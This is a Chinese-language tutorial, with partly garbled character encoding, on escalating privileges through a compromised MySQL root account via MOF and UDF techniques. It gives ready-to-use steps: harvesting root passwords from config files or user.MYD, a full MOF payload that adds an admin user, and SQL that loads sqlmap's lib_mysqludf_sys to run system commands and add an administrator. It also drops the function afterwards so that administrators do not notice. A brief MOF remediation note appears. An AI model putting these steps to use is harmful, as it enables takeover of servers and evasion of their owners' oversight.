溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

MySQL中怎么實(shí)現(xiàn)提權(quán)

發(fā)布時(shí)間:2021-07-13 15:58:08 來源:億速云 閱讀:217 作者:Leah 欄目:網(wǎng)絡(luò)管理

本篇文章為大家展示了MySQL中怎么實(shí)現(xiàn)提權(quán),內(nèi)容簡(jiǎn)明扼要并且容易理解,絕對(duì)能使你眼前一亮,通過這篇文章的詳細(xì)介紹希望你能有所收獲。

MySQL提權(quán)的必要條件:

  1. 具有MySQL的root權(quán)限,且MySQL以system權(quán)限運(yùn)行。

  2. 具有執(zhí)行SQL語(yǔ)句的權(quán)限。

獲取root密碼的方法:

  1. 查看數(shù)據(jù)庫(kù)配置文件

    關(guān)鍵字:configconn、sql、data、inc、database

  2. 下載mysql安裝路徑下的數(shù)據(jù)文件

    • 安裝路徑下的data目錄中存放的是數(shù)據(jù)庫(kù)的數(shù)據(jù)信息

    • root賬號(hào)密碼存儲(chǔ)在mysql數(shù)據(jù)庫(kù)下的user表中

    • 完整路徑=安裝路徑+\data\mysql\user.MYD

  3. 暴力破解

MySQL數(shù)據(jù)庫(kù)提權(quán)的幾種方式

  • udf提權(quán)

  • mof提權(quán)

  • 開機(jī)啟動(dòng)腳本(啟動(dòng)項(xiàng)提權(quán))

MOF提權(quán)

原理

利用了C:\Windows\System32\wbem\MOF目錄下的nullevt.mof文件

利用該文件每分鐘會(huì)去執(zhí)行一次的特性,向該文件中寫入cmd命令,就會(huì)被執(zhí)行

利用條件

  1. 只使用于windows系統(tǒng),一般低版本系統(tǒng)才可以用,比如xp、server2003

  2. 對(duì)C:\Windows\System32\wbem\MOF目錄有讀寫權(quán)限

  3. 可以找到一個(gè)可寫目錄,寫入mof文件

提權(quán)方法

  1. 在可寫目錄中上傳mof文件。

    把mof文件上傳到C:/wmpub/nullevt.mof

  2. 把這個(gè)文件復(fù)制到C:/Windows/System32/wbem/MOF/nullevt.mof目錄下

    select load_file('C:/wmpub/nullevt.mof') into dumpfile 'C:/Windows/System32/wbem/MOF/nullevt.mof'

    將下面這段代碼復(fù)制到mof后綴的文件中

    # pragma namespace("\.\root\subscription")
    
    instance of EventFilter as $EventFilter{ EventNamespace ="Root\Cimv2"; Name = "filtP2"; Query = "Select * From InstanceModificationEvent "
    
    "Where TargetInstance Isa \"Win32_LocalTime\" "
    
    "And TargetInstance.Second = 5";
    
    QueryLanguage = "WQL";
    
    };
    
    instance of ActiveScriptEventConsumer as $Consumer
    
    {
    
    Name = "consPCSV2";
    
    ScriptingEngine = "JScript";
    
    ScriptText =
    
    "var WSH = new
    
    ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";
    
    };
    
    instance of __FilterToConsumerBinding
    
    {
    
    Consumer = $Consumer;
    
    Filter = $EventFilter;
    
    };

    把這個(gè)mof文件上傳到目標(biāo)機(jī)中,可以修改代碼,進(jìn)行命令執(zhí)行。

    目前mof提權(quán)方法用的比較少,建議使用udf腳本進(jìn)行MySQL數(shù)據(jù)庫(kù)提權(quán)。

補(bǔ)救措施

當(dāng)發(fā)現(xiàn)服務(wù)器被使用mof提權(quán),解決繼續(xù)執(zhí)行系統(tǒng)命令的方法:

  1. 先停止winmgmt服務(wù):net stop winmgmt

  2. 刪除文件夾:C:\Windows\System32\wbem\Repository

  3. 再重新啟動(dòng)winmgmt服務(wù):net start winmgmt

UDF提權(quán)(用戶自定義函數(shù)提權(quán))

原理

UDF(User Defined Funtion)用戶自定義函數(shù),通過添加新的函數(shù),對(duì)mysql服務(wù)器進(jìn)行功能擴(kuò)充。

信息收集

select version();   # 獲取數(shù)據(jù)庫(kù)版本
select user();  # 獲取數(shù)據(jù)庫(kù)用戶
select @@basedir;   # 獲取數(shù)據(jù)庫(kù)安裝目錄
show variables like ‘%plugin%’; # 查看plugin路徑。
Windows UDF提權(quán)

UDF可以理解為MySQL的函數(shù)庫(kù),可以利用udf定義的創(chuàng)建函數(shù)。想要利用udf,必須上傳udf.dll作為udf的執(zhí)行庫(kù)。MySQL中支持UDF擴(kuò)展,使得我們可以調(diào)用DLL里面的函數(shù)來實(shí)現(xiàn)一些特殊的功能。

利用條件

如果mysql版本大于5.1,udf.dll文件必須放置在mysql安裝目錄的MySQL\Lib\Plugin\文件夾下,該目錄默認(rèn)是不存在的,需要使用webshell找到mysql的安裝目錄,并在安裝目錄下創(chuàng)建MySQL\Lib\Plugin\文件夾,然后將udf.dll導(dǎo)入到該目錄。

如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:/windows/system32/目錄,在windows server 2000下放置在c:/winnt/system32/目錄。

掌握mysql數(shù)據(jù)庫(kù)的root賬戶,從而擁有對(duì)mysql的insert和delete權(quán)限,以創(chuàng)建和拋棄函數(shù)。

擁有可以將udf.dll寫入相應(yīng)目錄的權(quán)限。

基本步驟

DLL文件的獲取方法

sqlmap/data/udf/mysql目錄下,在Windows目錄中有32位和64位的dll文件(MySQL位數(shù))。

文件夾中的dll文件是通過異或編碼的,可以使用sqlmap/extract/cloak.py進(jìn)行解碼

python /sqlmap/extra/cloak/cloak.py -d -i /sqlmap/udf/mysql/windows/64/lib_mysqludf_sys.dll_

  1. 將解碼后的DLL文件(包含用戶自定義函數(shù)的DLL文件)上傳到可寫目錄,再導(dǎo)入到MySQL\lib\plugin\

    select LOAD_FILE('C:/可寫目錄/lib_mysqludf_sys.dll') into dumpfile 'C:/phpStudy2016/MySQL/lib/plugin/lib_mysqludf_sys.dll';

  2. 將DLL中的函數(shù)引入到MySQL數(shù)據(jù)庫(kù)中

    創(chuàng)建自定義函數(shù)

    create function sys_eval returns string soname 'lib_mysqludf_sys.dll';

    創(chuàng)建名為sys_eval的函數(shù),返回值為string類型,調(diào)用的文件是lib_mysqludf_sys.dll

    注意:需要?jiǎng)?chuàng)建.dll文件中存在的函數(shù),可以使用十六進(jìn)制編輯器打開.dll文件,查看可以被創(chuàng)建的函數(shù)。

  3. 使用該函數(shù)去執(zhí)行系統(tǒng)命令提權(quán)

    查看當(dāng)前用戶權(quán)限

    select sys_eval("whoami");

    創(chuàng)建賬號(hào)并提升為管理員權(quán)限

    select sys_eval("net user winhex passw@ord /add");

    select sys_eval("net localgroup administrators winhex /add");

  4. 將之前引入的函數(shù)刪除掉

    防止被管理員發(fā)現(xiàn),防止其他攻擊者使用

    drop function sys_eval;

    delete from mysql.func where name='sys_eval';

Linux UDF提權(quán)

簡(jiǎn)述

通過自定義庫(kù)函數(shù)來實(shí)現(xiàn)執(zhí)行任意的命令

包含用戶自定義函數(shù)的文件為.so文件

要求

  • 在my.ini的[mysqld]下,添加secure_file_priv="",不限制導(dǎo)入導(dǎo)出路徑

  • 具有數(shù)據(jù)庫(kù)root賬戶的密碼,且mysql數(shù)據(jù)庫(kù)以root權(quán)限運(yùn)行

  • 具有sql語(yǔ)句的執(zhí)行權(quán)限

  • 導(dǎo)出目錄可寫

  • 系統(tǒng)中的selinux處于關(guān)閉狀態(tài)

提權(quán)過程

  1. 查找插件庫(kù)的路徑

    show variables like '%plugin%';

    得到的結(jié)果為:

    Variable_nameValue
    plugin_dir/usr/lib64/mysql/plugin
  2. 找到對(duì)應(yīng)操作系統(tǒng)數(shù)據(jù)庫(kù)的UDF庫(kù)文件

    sqlmap-master\data\udf\mysql\linux\64下的lib_mysqludf_sys.so_文件

  3. 將so文件(UDF庫(kù)文件)進(jìn)行16進(jìn)制編碼

  4. 將so文件的內(nèi)容解碼,寫入到mysql插件庫(kù)目錄中

    select unhex('so文件的16進(jìn)制編碼') into dumpfile '/usr/lib64/mysql/plugin/xxx.so'

  5. 查看udf庫(kù)所支持的函數(shù)

    注意:需要?jiǎng)?chuàng)建.so文件中存在的函數(shù),可以使用十六進(jìn)制編輯器打開.so文件,查看可以被創(chuàng)建的函數(shù)。

  6. 創(chuàng)建函數(shù)

    寫入之后,執(zhí)行創(chuàng)建函數(shù)的命令,就會(huì)創(chuàng)建一個(gè)sys_eval的函數(shù),用來執(zhí)行系統(tǒng)命令,這個(gè)函數(shù)執(zhí)行的系統(tǒng)命令全部都是system權(quán)限。

    create function sys_eval returns string soname 'xxx.so';

  7. 執(zhí)行系統(tǒng)命令,提權(quán)

    sys_eval這個(gè)函數(shù)就可以執(zhí)行系統(tǒng)命令,括號(hào)里輸入系統(tǒng)命令即可。

    查看當(dāng)前用戶權(quán)限

    select sys_eval("whoami");

    創(chuàng)建賬號(hào)并提升為管理員權(quán)限

不需要判斷mysql的版本,直接查看路徑,直接寫so文件,Linux里面的文件是so文件。

getshell之后,在終端輸入whoami,發(fā)現(xiàn)只是apache用戶權(quán)限。

尋找網(wǎng)站的數(shù)據(jù)庫(kù)配置文件,查看數(shù)據(jù)庫(kù)的賬號(hào)密碼,可以看到賬號(hào)root密碼root。

登錄mysql數(shù)據(jù)庫(kù),輸入show variables like '%plugin%';查看plugin路徑。

得到的結(jié)果為:

Variable_nameValue
plugin_dir/usr/lib64/mysql/plugin

我們把so文件進(jìn)行16進(jìn)制編碼,再解碼寫入目錄中,返回為true,寫入成功。

select unhex('so文件的16進(jìn)制編碼') into dumpfile '/usr/lib64/mysql/plugin/xxx.so'

寫入之后,執(zhí)行創(chuàng)建函數(shù)的命令,就會(huì)創(chuàng)建一個(gè)sys_eval的函數(shù),用來執(zhí)行系統(tǒng)命令,這個(gè)函數(shù)執(zhí)行的系統(tǒng)命令全部都是system權(quán)限。

create function sys_eval returns string soname 'xxx.so';

sys_eval這個(gè)函數(shù)就可以執(zhí)行系統(tǒng)命令,括號(hào)里輸入系統(tǒng)命令即可。

select sys_eval('whoami')

上述內(nèi)容就是MySQL中怎么實(shí)現(xiàn)提權(quán),你們學(xué)到知識(shí)或技能了嗎?如果還想學(xué)到更多技能或者豐富自己的知識(shí)儲(chǔ)備,歡迎關(guān)注億速云行業(yè)資訊頻道。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI